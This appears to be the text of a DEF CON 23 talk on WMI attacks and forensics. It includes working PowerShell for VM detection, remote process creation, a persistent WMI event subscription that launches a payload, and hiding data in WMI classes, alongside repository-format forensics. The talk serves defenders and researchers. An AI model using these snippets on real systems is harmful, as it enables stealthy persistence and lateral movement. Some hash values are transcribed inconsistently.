WhyMI so Sexy? WMI Attacks, Real-Time Defense, and Advanced Forensic Analysis

Willi Ballenthin, Matt Graeber, Claudiu Teodorescu

DEF CON 23
This talk is dedicated to hunting down APT 29
So you’ve been owned with WMI...

- Attackers use WMI - **reality**
- Prevention, detection, remediation guidance - **lacking**
- Forensic capability - **non-existent**
- Awareness of offensive capabilities – **lacking**
- Awareness of defensive capabilities – **practically non-existent**
Introduction

Willi, Matt, and Claudiu
About the Speakers

Willi Ballenthin - @williballenthin

- Reverse Engineer @ FireEye Labs Advanced Reverse Engineering (FLARE) Team
- Forensic Analyst
- Researcher
- Instructor
About the Speakers

Matt Graeber - @mattifestation

- Reverse Engineer @ FireEye Labs Advanced Reverse Engineering (FLARE) Team
- Speaker – Black Hat, MS Blue Hat, BSides LV and Augusta, DerbyCon
- Black Hat Trainer
- Microsoft MVP – PowerShell
- GitHub projects – PowerSploit, PowerShellArsenal, Position Independent Shellcode in C, etc.
- “Living off the Land” Proponent
- Perpetual n00b
About the Speakers

Claudiu “to the rescue” Teodorescu - @cteo13

- Reverse Engineer @ FireEye Labs Advanced Reverse Engineering (FLARE) Team
- Forensic researcher
- Crypto analyst
- GitHub projects – WMIParser
- Soccer player
Outline – Session #1

Background, Motivations, Attack Examples
- Abridged History of WMI Malware
- WMI Architecture
- WMI Query Language (WQL)
- WMI Eventing
- Remote WMI
- WMI Attack Lifecycle
- Providers
Outline – Session #2

File Format, Investigations, Real-Time Defense, Mitigations

- WMI Forensics
- Managed Object Format (MOF)
- Representation of MOF Primitives
- Investigation Methodology - A Mock Investigation
- WMI Attack Detection
- WMI Attack Mitigations
WMI Malware History
~2010 - Stuxnet

- Exploited MS10-061 – Windows Printer Spooler
- Exploited an arbitrary file write vulnerability
- WMI provided a generic means of turning a file write to SYSTEM code execution!
- The attackers dropped a MOF file to gain SYSTEM-level execution.

2010 - Ghost

Utilized permanent WMI event subscriptions to:
- Monitor changes to “Recent” folder
- Compressed and uploaded all new documents
- Activates an ActiveX control that uses IE as a C2 channel

Uses WMI as a C2 channel

WMI namespaces used to store data
2015 – APT 29

- Heavy reliance upon WMI and PowerShell
- Custom WMI class creation
- WMI repository used to store payloads of arbitrary size
- Results of commands added to WMI object properties

Thanks to our awesome Mandiant investigators for seeking this out, discovering it, and remediating!
- Nick Carr, Matt Dunwoody, DJ Palombo, and Alec Randazzo

Thanks to APT 29 for allowing us to further our investigative techniques!
WMI Basics

Windows Management Instrumentation
What is WMI?

- Windows Management Instrumentation
- Powerful local & remote system management infrastructure
- Present since Win98 and NT4
- Can be used to:
  - Obtain system information
    - Registry
    - File system
    - Etc.
  - Execute commands
  - Subscribe to events

Useful infrastructure for admins

Useful infrastructure for attackers
WMI Architecture

- WMI implements the CIM and WBEM standards to do the following:
  - Provide an object schema to describe “managed components”
  - Provide a means to populate objects – i.e. WMI providers
  - Store persistent objects – WMI/CIM repository
  - Query objects – WQL
  - Transmit object data – DCOM and WinRM
  - Perform actions on objects – class methods, events, etc.
WMI Architecture

Clients
- `wmic.exe`
- `PowerShell`
- `Windows Scripting Host (WSH)`
  - `VBScript`
  - `JScript`
  - `wbemtest.exe`
- `C/C++ via COM`
- `winrm.exe`
- `winrs.exe`

Protocol Implementations
- `DCOM`
- `WS-Man`
- `WinRM`

WMI Providers
- `cimwin32.dll`
- `stdprov.dll`
- `Etc.`

Query languages
- WQL – WMI Query Language
- `CQL`

Server

WBEM Standard
- `CIM Standard`
- `Object schema`

WMI/CIM repository
- `WMI/CIM repository`
- `Managed Object Format (MOF) files`

WMI objects

Managed Object Format (MOF) files
Interacting with WMI
Utilities - PowerShell

- PowerShell is awesome
- Need I say more?

"Blue is the New Black" - @obscuresec
Utilities – wmic.exe

- Pentesters and attackers know about this
- Installed everywhere
- Gets most tasks done
- Has some limitations
Utilities – Microsoft CIM Studio

- Free
- Very dated but still works
- Good for WMI discovery/research
Utilities – Sapien WMI Explorer

- Commercial utility
- Great for WMI discovery/research
- Many additional features
- Huge improvement over CIM Studio
Utilities – wbemtest.exe

- The WMI utility you never heard of
- GUI
- Very powerful
- Rarely a blacklisted application
Utilities – winrm.exe

- Not a well known utility
- Can interface with WMI over WinRM
- Useful if PowerShell is not available

```powershell
winrm invoke Create wmicimv2/Win32_Process @{CommandLine="notepad.exe";CurrentDirectory="C:\"}
```
Utilities

- Linux - wmic, wmis, wmis-pth (@passingthehash)

- Windows Script Host Languages
  - VBScript
  - JScript

- IWbem* COM API

- .NET System.Management classes
WMI Query Language (WQL)
WMI Query Language (WQL)

- SQL-like query language used to
  - Filter WMI object instances
  - Register event trigger
- Three query classes:
  1. Instance Queries
  2. Event Queries
  3. Meta Queries
WMI Query Language (WQL) – Instance Queries

Format:

- SELECT [Class property name|*] FROM [CLASS NAME] <WHERE [CONSTRAINT]>

Example:

- SELECT * FROM Win32_Process WHERE Name LIKE "%chrome%"
WMI Query Language (WQL) – Event Queries

Format:

- SELECT [Class property name|*] FROM [INTRINSIC CLASS NAME] WITHIN [POLLING INTERVAL] <WHERE [CONSTRAINT]>
- SELECT [Class property name|*] FROM [EXTRINSIC CLASS NAME] <WHERE [CONSTRAINT]>

Examples:

- SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2
- SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2
- SELECT * FROM RegistryKeyChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND KeyPath='SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
WMI Query Language (WQL) – Meta Queries

Format:

- SELECT [Class property name|*] FROM [Meta_Class|SYSTEM CLASS NAME] <WHERE [CONSTRAINT]>

Example:

- SELECT * FROM Meta_Class WHERE __Class LIKE "Win32%"
- SELECT Name FROM __NAMESPACE
WMI Eventing
WMI Events

- WMI has the ability to trigger off nearly any conceivable event.
  - Great for attackers and defenders

- Three requirements
  1. Filter – An action to trigger off of
  2. Consumer – An action to take upon triggering the filter
  3. Binding – Registers a Filter $\leftrightarrow$ Consumer

- Local events run for the lifetime of the host process.
- Permanent WMI events are persistent and run as SYSTEM.
WMI Event Types - Intrinsic

- Intrinsic events are system classes included in every namespace
- Attacker/defender can make a creative use of these
- Must be captured at a polling interval
- Possible to miss event firings

- __NamespaceOperationEvent
- __NamespaceModificationEvent
- __NamespaceDeletionEvent
- __NamespaceCreationEvent
- __ClassOperationEvent
- __ClassDeletionEvent
- __ClassModificationEvent
- __ClassCreationEvent
- __InstanceOperationEvent
- __InstanceCreationEvent
- __MethodInvocationEvent
- __InstanceModificationEvent
- __InstanceDeletionEvent
- __TimerEvent
Extrinsic events are non-system classes that fire immediately
No chance of missing these
Generally don’t include as much information
Notable extrinsic events:
Consider the implications…

- ROOT\CIMV2:Win32_ComputerShutdownEvent
- ROOT\CIMV2:Win32_IP4RouteTableEvent
- ROOT\CIMV2:Win32_ProcessStartTrace
- ROOT\CIMV2:Win32_ModuleLoadTrace
- ROOT\CIMV2:Win32_ThreadStartTrace
- ROOT\CIMV2:Win32_VolumeChangeEvent
- ROOT\CIMV2:Msft_WmiProvider*
- ROOT\DEFAULT:RegistryKeyChangeEvent
- ROOT\DEFAULT:RegistryValueChangeEvent
WMI Events - Consumers

- The action taken upon firing an event

- These are the standard event consumers:
  - LogFileEventConsumer
  - ActiveScriptEventConsumer
  - NTEventLogEventConsumer
  - SMTPEventConsumer
  - CommandLineEventConsumer

- Present in the following namespaces:
  - ROOT\CIMV2
  - ROOT\DEFAULT
Permanent WMI Events

- Event subscriptions persistent across reboots

Requirements:

1. Filter – An action to trigger off of
   - Creation of an `__EventFilter` instance

2. Consumer – An action to take upon triggering the filter
   - Creation of a derived `__EventConsumer` instance

3. Binding – Registers a Filter←→Consumer
   - Creation of a `__FilterToConsumerBinding` instance
WMI Events - Overview
Remote WMI
Remote WMI Protocols - DCOM

- DCOM connections established on port 135
- Subsequent data exchanged on port dictated by
  - HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Internet - Ports (REG_MULTI_SZ)
  - configurable via DCOMCNFG.exe
- Not firewall friendly
- By default, the WMI service – Winmgmt is running and listening on port 135

MSDN: Setting Up a Fixed Port for WMI
MSDN: Connecting Through Windows Firewall
Remote WMI Protocols - DCOM
Remote WMI Protocols - WinRM/PowerShell Remoting

- SOAP protocol based on the WSMan specification
- Encrypted by default
- Single management port – 5985 (HTTP) or 5986 (HTTPS)
- The official remote management protocol in Windows 2012 R2+
- SSH on steroids – Supports WMI and code execution, object serialization
Remote WMI Protocols – WinRM/PowerShell Remoting

```
PS C:\> Test-WSMan -ComputerName 192.168.72.135

wsmid : http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd
ProductVendor : Microsoft Corporation
ProductVersion : OS: 0.0.0 SP: 0.0 Stack: 3.0
```
Remote WMI Protocols – WinRM/PowerShell Remoting

```powershell
PS C:\> $CimSession = New-CimSession -ComputerName 192.168.72.135 -Credential 'WIN-B85AAA7ST4\Administrator' -Authentication Negotiate
PS C:\> Get-CimInstance -CimSession $CimSession -ClassName Win32_Process
```

<table>
<thead>
<tr>
<th>ProcessId</th>
<th>Name</th>
<th>HandleCount</th>
<th>WorkingSetSize</th>
<th>VirtualSize</th>
<th>PSComputerName</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>System Idle P...</td>
<td>0</td>
<td>24576</td>
<td>0</td>
<td>192.168....</td>
</tr>
<tr>
<td>4</td>
<td>System</td>
<td>507</td>
<td>241664</td>
<td>1441792</td>
<td>192.168....</td>
</tr>
<tr>
<td>232</td>
<td>smss.exe</td>
<td>29</td>
<td>684032</td>
<td>3096576</td>
<td>192.168....</td>
</tr>
<tr>
<td>320</td>
<td>csrss.exe</td>
<td>547</td>
<td>2867200</td>
<td>33828864</td>
<td>192.168....</td>
</tr>
<tr>
<td>372</td>
<td>csrss.exe</td>
<td>261</td>
<td>13086720</td>
<td>51609600</td>
<td>192.168....</td>
</tr>
<tr>
<td>380</td>
<td>wininit.exe</td>
<td>76</td>
<td>2744320</td>
<td>33660928</td>
<td>192.168....</td>
</tr>
<tr>
<td>436</td>
<td>winlogon.exe</td>
<td>109</td>
<td>3932160</td>
<td>41578496</td>
<td>192.168....</td>
</tr>
<tr>
<td>476</td>
<td>services.exe</td>
<td>190</td>
<td>5799936</td>
<td>37363712</td>
<td>192.168....</td>
</tr>
<tr>
<td>484</td>
<td>lsass.exe</td>
<td>611</td>
<td>6672384</td>
<td>32768000</td>
<td>192.168....</td>
</tr>
<tr>
<td>516</td>
<td>lsm.exe</td>
<td>143</td>
<td>2543616</td>
<td>15011840</td>
<td>192.168....</td>
</tr>
<tr>
<td>600</td>
<td>svchost.exe</td>
<td>355</td>
<td>6316032</td>
<td>39587840</td>
<td>192.168....</td>
</tr>
<tr>
<td>668</td>
<td>svchost.exe</td>
<td>264</td>
<td>5439488</td>
<td>28577792</td>
<td>192.168....</td>
</tr>
<tr>
<td>716</td>
<td>svchost.exe</td>
<td>393</td>
<td>10043392</td>
<td>52105216</td>
<td>192.168....</td>
</tr>
<tr>
<td>824</td>
<td>svchost.exe</td>
<td>606</td>
<td>9134080</td>
<td>87629824</td>
<td>192.168....</td>
</tr>
<tr>
<td>872</td>
<td>svchost.exe</td>
<td>124</td>
<td>4571136</td>
<td>27308032</td>
<td>192.168....</td>
</tr>
</tbody>
</table>
Remote WMI Protocols – WinRM/PowerShell Remoting

```

Enter the password for 'Administrator' to connect to '192.168.72.135':

Win32_Process
  Caption = System Idle Process
  CommandLine = null
  CreationClassName = Win32_Process
  CreationDate = null
  CSCreationClassName = Win32_ComputerSystem
  CSName = WIN-B85AA7ST4U
  Description = System Idle Process
  ExecutablePath = null
  ExecutionState = null
  Handle = 0
  HandleCount = 0
  InstallDate = null
  KernelModeTime = 1709372533446
  MaximumWorkingSetSize = null
  MinimumWorkingSetSize = null
  Name = System Idle Process
  OSCreationClassName = Win32_OperatingSystem
  OSName = Microsoft Windows 7 Professional N
```
WMI Attack Lifecycle
WMI Attacks

- From an attacker's perspective, WMI can be used but is not limited to the following:
  - Reconnaissance
  - VM/Sandbox Detection
  - Code execution and lateral movement
  - Persistence
  - Data storage
  - C2 communication
WMI Attacks – Reconnaissance

<table>
<thead>
<tr>
<th>Category</th>
<th>Query Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>Host/OS information</td>
<td><code>ROOT\CIMV2:Win32_OperatingSystem</code>, <code>Win32_ComputerSystem</code></td>
</tr>
<tr>
<td>File/directory listing</td>
<td><code>ROOT\CIMV2:CIM_DataFile</code></td>
</tr>
<tr>
<td>Disk volume listing</td>
<td><code>ROOT\CIMV2:Win32_Volume</code></td>
</tr>
<tr>
<td>Registry operations</td>
<td><code>ROOT\DEFAULT:StdRegProv</code></td>
</tr>
<tr>
<td>Running processes</td>
<td><code>ROOT\CIMV2:Win32_Process</code></td>
</tr>
<tr>
<td>Service listing</td>
<td><code>ROOT\CIMV2:Win32_Service</code></td>
</tr>
<tr>
<td>Event log</td>
<td><code>ROOT\CIMV2:Win32_NtLogEvent</code></td>
</tr>
<tr>
<td>Logged on accounts</td>
<td><code>ROOT\CIMV2:Win32LoggedOnUser</code></td>
</tr>
<tr>
<td>Mounted shares</td>
<td><code>ROOT\CIMV2:Win32_Share</code></td>
</tr>
<tr>
<td>Installed patches</td>
<td><code>ROOT\CIMV2:Win32_QuickFixEngineering</code></td>
</tr>
<tr>
<td>Installed AV</td>
<td><code>ROOT\SecurityCenter[2]:AntiVirusProduct</code></td>
</tr>
</tbody>
</table>
WMI Attacks – VM/Sandbox Detection

- Sample WQL Queries

```wql
SELECT * FROM Win32_ComputerSystem WHERE TotalPhysicalMemory < 2147483648
SELECT * FROM Win32_ComputerSystem WHERE NumberOfLogicalProcessors < 2
```

- Example

```powershell
$VMDetected = $False

$Arguments = @{
    Class = 'Win32_ComputerSystem'
    Filter = 'NumberOfLogicalProcessors < 2 AND TotalPhysicalMemory < 2147483648'
}

if (Get-WmiObject @Arguments) { $VMDetected = $True }
```
WMI Attacks – VM/Sandbox Detection

- Sample WQL Queries

```powershell
$VMwareDetected = $False

$VMAdapter = Get-WmiObject Win32_NetworkAdapter -Filter 'Manufacturer LIKE "%VMware%" OR Name LIKE "%VMware%"
$VMBios = Get-WmiObject Win32_BIOS -Filter 'SerialNumber LIKE "%VMware%"
$VMToolsRunning = Get-WmiObject Win32_Process -Filter 'Name="vmtoolsd.exe"

if ($VMAdapter -or $VMBios -or $VMToolsRunning) { $VMwareDetected = $True }
```
WMI Attacks – Code Execution and Lateral Movement

```
PS C:\> Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList 'notepad.exe' -ComputerName 192.168.72.135 -Credential 'WIN-B85AAA7ST4U\Administrator'

__GENUS   :  2
__CLASS   : __PARAMETERS
__SUPERCLASS : __PARAMETERS
__DYNASTY : __PARAMETERS
__RELPATH :
__PROPERTY_COUNT : 2
__DERIVATION : {}
__SERVER   :
__NAMESPACE :
__PATH     :
ProcessId  :  340
ReturnValue:  0
PSComputerName :
```
WMI Attacks – Persistence

`$filterName = 'BotFilter82'
$consumerName = 'BotConsumer23'
$exePath = 'C:\Windows\System32\evil.exe'

$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320"

$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop

$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}

Set-WmiInstance -Class __FilterToConsumerBinding -NameSpace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
WMI Attacks – Data Storage

```powershell
$StaticClass = New-Object System.Management.ManagementClass('root\cimv2', $null, $null)
$StaticClass.Name = 'Win32_EvilClass'
$StaticClass.Put()
$StaticClass.Properties.Add('EvilProperty', 'This is not the malware you're looking for')
$StaticClass.Put()
```

![PowerShell output](image-url)
WMI Providers
WMI Providers

- COM DLLs that form the backend of the WMI architecture
- Nearly all WMI objects and their method are backed by a provider
- Unique GUID associated with each provider
- GUIDs may be found in MOF files or queried programmatically
- GUID corresponds to location in registry
  - HKEY_CLASSES_ROOT\CLSID\<GUID>\InprocServer32 - (default)
- Extend the functionality of WMI all while using its existing infrastructure
- New providers create new __Win32Provider : __Provider instances
- Unique per namespace
WMI Providers

- Get-WmiProvider.ps1
  - [https://gist.github.com/mattifestation/2727b6274e4024fd2481](https://gist.github.com/mattifestation/2727b6274e4024fd2481)
Malicious WMI Providers

- This was merely a theoretical attack vector until recently…
- EvilWMIPrvider by Casey Smith (@subTee)
  - https://github.com/subTee/EvilWMIPrvider
  - PoC shellcode runner
    - Invoke-WmiMethod -Class Win32_Evil -Name ExecShellcode -ArgumentList @(0x90, 0x90, 0x90), $null
- EvilNetConnectionWMIPrvider by Jared Atkinson (@jaredcatkinson)
  - https://github.com/jaredcatkinson/EvilNetConnectionWMIPrvider
  - PoC PowerShell runner and network connection lister
    - Invoke-WmiMethod -Class Win32_NetworkConnection -Name RunPs -ArgumentList 'whoami', $null
    - Get-WmiObject -Class Win32_NetworkConnection
WMI Forensics
WMI Forensics - Motivation

- With online systems: use WMI to query itself
  - Enumerate filter to consumer bindings
  - Query WMI object definitions for suspicious events

- CIM repository is totally undocumented
  - objects.data, index.btr, mapping#.map

- Today, forensic analysis is mostly hypothesize and guess:
  - Copy CIM repository to a running system, or
  - strings.exe on objects.data
WMI Implementation on Disk

- WMI “providers” register themselves to expose query-able data
  - Object-oriented type hierarchy: Namespaces, Classes, Properties, Methods, Instances, References
  - CIM (Common Information Model) repository: `%SystemRoot%\WBEM\Repository`
    - Objects.data
    - Mapping1.map, Mapping2.map, Mapping3.map
    - index.btr
    - mapping.ver – Only in XP, specifies the index of the current mapping file
  - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM
WMI Repository

```
Index.btr
Physical Page: 10

Physical Page: 64
Next Logical Page Pointer: 20

Physical Page: 99
```

```
MappingX.map

Header
Logical-To-Physical Map for Objects.data
Index 563 : 230

Free Space Map For Objects.data

Logical-To-Physical Map for Index.btr
Index 20 : 99

Free Space Map For Index.btr
```

```
Objects.data
Physical Page: 230

Record ID: 269863369
Size: 122
```
WMI Repository – Artifact Recovery Methodology

- Construct the search string, taking into consideration the artifact’s namespace, class, name
  - Stay tuned
- Perform a search in the `index.btr`
  - Logical Page #
  - Artifact’s Record Identifier
  - Artifact’s Record Size
- Based on the Logical Page #, determine the Physical Page # from the `objects.data` Mapping in `Mapping#.map`
- Find the Record Header based on the Artifact’s Record Identifier in the page discovered at previous step in `objects.data`
- Validate the size in the Record Header matches Artifact’s Record Size in `index.btr` found string
- Record Offset in the Record Header represents the offset in the current page of the Artifact
Objects.data – Structure

- Paged
- Page Size = 0x2000
- Physical Offset = PageNumber x PageSize
- Most of the pages contain records
  - Record Headers
    - Size = 0x10
    - Last Record Header contains only 0s
  - Records
- A record with size greater than the Page Size always starts in an empty page
  - Use the Mapping file to find the rest of the record’s chunks
Objects.data – Page Structure

- Record Header: RecID, RecOffset, RecSize, Crc32 (16 bytes)
- First Record starts immediately after last Record Header
- CRC32 is only stored in the Record Header in Repos under XP

<table>
<thead>
<tr>
<th>Offset</th>
<th>RecID</th>
<th>RecOffset</th>
<th>RecSize</th>
<th>CRC32</th>
</tr>
</thead>
<tbody>
<tr>
<td>00576000</td>
<td>22</td>
<td>36</td>
<td>0D 00</td>
<td>90 00 00 00</td>
</tr>
<tr>
<td>00576010</td>
<td>12</td>
<td>9C</td>
<td>12 00</td>
<td>09 0A 00 00</td>
</tr>
<tr>
<td>00576020</td>
<td>FD</td>
<td>6E</td>
<td>12 00</td>
<td>24 0D 00 00</td>
</tr>
<tr>
<td>00576030</td>
<td>E4</td>
<td>57</td>
<td>12 00</td>
<td>34 15 00 00</td>
</tr>
<tr>
<td>00576040</td>
<td>F0</td>
<td>4B</td>
<td>12 00</td>
<td>20 18 00 00</td>
</tr>
<tr>
<td>00576050</td>
<td>90</td>
<td>AE</td>
<td>75 00</td>
<td>BF 1B 00 00</td>
</tr>
<tr>
<td>00576060</td>
<td>5C</td>
<td>DB</td>
<td>75 00</td>
<td>4B 1D 00 00</td>
</tr>
<tr>
<td>00576070</td>
<td>34</td>
<td>21</td>
<td>76 00</td>
<td>8A 1E 00 00</td>
</tr>
<tr>
<td>00576080</td>
<td>00</td>
<td>00</td>
<td>00 00</td>
<td>00 00 00 00</td>
</tr>
<tr>
<td>00576090</td>
<td>0E</td>
<td>00</td>
<td>00 00</td>
<td>42 00 69 00</td>
</tr>
<tr>
<td>005760A0</td>
<td>67</td>
<td>00</td>
<td>45 00</td>
<td>6C 00 65 00</td>
</tr>
</tbody>
</table>
Mapping#.map

- Up to 3 mapping files
- In XP Mapping.ver specifies the index of the most current Mapping file
- Consists of:
  - Objects.data Mapping data
  - Index.btr Mapping data
- Logical Page# = Index in Map
Mapping#.map - Mapping data

- Start Signature: 0xABCD
- Header:
  - Revision
  - PhysicalPagesCount
  - MappingEntriesCount
- Mapping Data
- FreePages Mapping Size
- FreePages Mapping Data
- End Signature : 0xDCBA
Mapping#.map – Header and Mapping Data

Start Signature
Revision
Logical-Page 0 => Physical-Page 0xC11
Logical-Page 6 => Physical-Page 0xABB

Mapping Entries Count
Physical Pages Count
Mapping Data
Mapping#.map – Free Pages Mapping Data

Free Pages Map Size

Mapping Data

End Signature
Index.btr

- B-Tree on disk
- Paged
- PageSize = 0x2000
- Physical Offset = PageNumber x PageSize
- Root of the Tree
  - In XP => Logical Page Number = the DWORD at offset 12 in Logical Page 0
  - In Vista and Up => Logical Page Number = Logical Page 0
  - Use the Index.btr Mapping Data in Mapping#.map to find out the Physical Page
Index.btr - Page

- A page consists of:
  - Header
  - List of logical page numbers => Pointers to next level nodes
  - List of Offset Pointers to Search String Records
  - Search String Records
  - List of Offset Pointers to Strings
  - Strings
## Index.btr – Root Page Details

<table>
<thead>
<tr>
<th>Header</th>
<th>Signature</th>
<th>LogicalPage</th>
<th>Zero</th>
<th>RootLogPage</th>
<th>EntriesCount</th>
</tr>
</thead>
<tbody>
<tr>
<td>0025E000</td>
<td>CC 01 CC 00 CC 00 00 00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>0025E020</td>
<td>01 00 00 00 00 00 00 00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>0025E040</td>
<td>04 00 00 00 00 00 00 00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>0025E060</td>
<td>06 00 00 00 00 00 00 00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
</tbody>
</table>

### Strings Count
- Search String Records
- String Offsets

### Search String Offsets in uint16s

### After Strings Offset

### Records Size in uint16s

### Next Level Logical Pages
Index.btr – Root Page Search Strings

NS_2DDE46913C837E49A9BB92C609082\CR_CE899D1C31B4731CE588F7EB783FD85A\C_0F2E596E9C9E13CFE35123A1AE3B65C
NS_86C666CC88277F15FEE6F6D9A6A2F566A\CD_664CD9E2C7D754473EB4A39A6A26EC1\F_94.643943.2401
NS_8DFCC0B7FAB09C32755407485035A60\XI_C010FD09E2150772789DC325C71F1\I_6F1DB8F4BC7D2C4163F7BEED34F4P93.2496.203052.212
NS_AC3FBD18065EBF47889D592C429C5D\CR_0745D601E1DB31037467E8E38D7FDE78\C_A5FA2E1D2577F4AB73PA15472A4E20P
NS_DA2766B36FA728AF4EC85C5D54B56E41\CI_E564D1645B0B66F2AF610E14EFC34\IL_128EEC47D4531D375DDA1F80572F1B0.432.760489.124
NS_DD73323810DAB2D36248285928C165A\CR_C8B9953EB5EEDD311056ABFP97FEC9505\R_D5822A799D8482E59DFC01F4399RACE
MOF
Managed Object Format
MOF – Primitives

- Object Oriented Hierarchy consisting of:
  - Namespaces
  - Classes
  - Instances
  - References
  - Properties
  - Qualifiers
**MOF – Namespaces**

- **Namespace Declaration** - `#pragma namespace (\<computername>\<path>)`

  ```cpp
  // Namespace Declaration: root\subscription namespace.
  #pragma namespace("\\\Root\subscription")
  ```

- **Namespace Definition** – a way to create new namespaces
  - `__namespace` – class representing a namespace

  ```cpp
  #pragma namespace("\\\root\default")
  
  // Namespace definition: Namespace NewNS defined in root\default
  instance of __namespace
  {
      Name = "NewNS";
  };
  ```
MOF – Classes/Properties/References

- **Class definition:**
  - A list of qualifiers
    - abstract, dynamic, provider
  - Class name
  - A list of properties
  - A list of references to instances

- **Property definition:**
  - A list of qualifiers
    - type, primary key, locale
  - Property name

- **Reference definition:**
  - Class referenced
  - Reference name

```c
namespace_declaration
[class qualifiers]
class class_name {
  property_1,
  ...
  property_n,
  reference_1,
  ...
  reference_n
};
```

```c
[property qualifiers] prop_type prop_name

class_name ref reference_name
```
MOF – Example

#pragma namespace("\\\.\\root\\default")

//class definition: ExistingClass in root\default namespace
class ExistingClass {
    [key] string Name;
    string Description;
};

//class definition: NewClass in root\default namespace
[dynamic] //class instances are created dynamically
class NewClass
{
    [key] string Name;
    uint8[][] Buffer;
    datetime Modified;
    ExistingClass ref NewRef;
};
MOF – Instances

- Instance declarations:
  - Property name = Property value
  - Reference name = Class instance referenced

```plaintext
#pragma namespace("\\\\\\\root\\default")

instance of ExistingClass {
    Name = "ExistingClassName";
    Description = "ExistingClassDescription";
};

instance of NewClass {
    Name = "NewClassName";
    Buffer = {0x00, 0x11, 0x22, 0x33};
    Modified = "1/20/2015 11:56:32";
    NewRef = "ExistingClass = \"ExistingClassName\""
};
```
#pragma namespace("\\\\.\\root\\default")

class ExistingClass {
    [key] string Name;
    string Description;
};

[dynamic]
class NewClass {
    [key] string Name;
    uint8[] Buffer;
    datetime Modified;
    ExistingClass ref NewRef;
};

instance of ExistingClass {
    Name = "ExistingClassName";
    Description = "ExistingClassNameDescription";
};

instance of NewClass {
    Name = "NewClassName";
    Buffer = {0x00, 0x11, 0x22, 0x33};
    Modified = "1/20/2015 11:56:32";
    NewRef = "ExistingClassName = \"ExistingClassName\"";
};
Representation of MOF Primitives
Representation of MOF Primitives - Algorithm

- Transform the input string to UPPER CASE
- In Windows XP
  - Compute MD5 hash
- In Windows Vista and up
  - Compute SHA256 hash
- Convert the hash to string
Representation of MOF Primitives – Namespaces

- Compute hash for the namespace name, i.e. "ROOT\DEFAULT” and prepend “NS_
  - NS_2F830D7E9DBEAE88EED79A5D5FBD63C0

- Compute hash for the __namespace, i.e. “__NAMESPACE” and prepend “CI_
  - CI_E5844D1645B0B6E6F2AF610EB14BFC34

- Compute hash for the instance name, i.e “NEWNS” and prepend “IL_
  - IL_14E9C7A5B6D57E033A5C9BE1307127DC

- Concatenated resulting string using “\” as separator
  - NS_<parent_namespace_hash>\CI_<__namespace_hash>\IL_<instance_name_hash>
Representation of MOF Primitives – Namespaces

```
#pragma namespace("\\\\\\\\root\\\\default")

instance of __namespace
{
    Name = "NewNS";
};

NS_2F830D7E9DBEAE88EED79A5D5FBD63C0
  md5("ROOT\DEFAULT")
  md5("__NAMESPACE")
  md5("NEWNS")

NS_892F8DB69C4EDFBC68165C91087B7A08323F6CE5B5EF342C0F93E02A0590BFC4
  sha256("ROOT\DEFAULT")
  sha256("__NAMESPACE")
  sha256("NEWNS")
```
Representation of MOF Primitives – Class Definitions

- Compute hash of the namespace name, i.e. “ROOT\DEFAULT” and prepend “NS_”
  - NS_2F830D7E9DBEAE88EED79A5D5FBD63C0

- Compute hash of the class name, i.e. “EXISTINGCLASS” and prepend “CD_”
  - CD_D39A5F4E2DE512EE18D8433701250312

- Compute hash of the parent class name, i.e “” (empty string) and prepend “CR_”
  - CR_D41D8CD98F00B204E9800998ECF8427E

- Compute hash of the class name, i.e. “EXISTINGCLASS” and prepend “C_”
  - C_D39A5F4E2DE512EE18D8433701250312

- Concatenated resulting string using “\” as separator
  - NS_<namespace_hash>\CD_<class_name_hash>
  - NS_<namespace_hash>\CR_<base_class_name_hash>\C_<class_name_hash>
Representation of MOF Primitives – Class Definitions

```csharp
#pragma namespace("\\\\.\\root\\default")

class ExistingClass {
    [key] string Name;
    string Description;
};

NS_2F830D7E9DBEA88EED79A5D5FB63C0\CD_D39A5F4E2DE512EE18D8433701250312 md5("ROOT\DEFAULT")
                             md5("EXISTINGCLASS")

NS_2F830D7E9DBEA88EED79A5D5FB63C0\CR_D41D8CD98F00B204E980998ECF8427E\C_D39A5F4E2DE512EE18D8433701250312 md5("ROOT\DEFAULT")
                             md5(""")
                             md5("EXISTINGCLASS")

NS_892F8DB69C4EDFBC68165C91087B7A08323F6CE5B5EF342C0F93E02A0590BFC4\CD_DD0C18C95BB8322A94B77C4B9795BE138A3BC690965DD6599CED06DC300DE26 sha256("ROOT\DEFAULT")
                           sha256("EXISTINGCLASS")

NS_892F8DB69C4EDFBC68165C91087B7A08323F6CE5B5EF342C0F93E02A0590BFC4\CR_E3B0C44298FC1C149ABBF4C8996FB92427AE41E4649B934CA495991B7852B855\C_DD0C18C95BB8322AF94B77C4B9795BE138A3BC690965DD6599CED06DC300DE26 sha256("ROOT\DEFAULT")
                           sha256(""")
                           sha256("EXISTINGCLASS")
```
Representation of MOF Primitives – Class with Refs Definitions

- Construct additional string path describing the reference member
- Compute hash of the referenced class namespace, i.e. “ROOT\DEFAULT” and prepend “NS_”
  - NS_2F830D7E9DBEAE88EED79A5D5FBD63C0
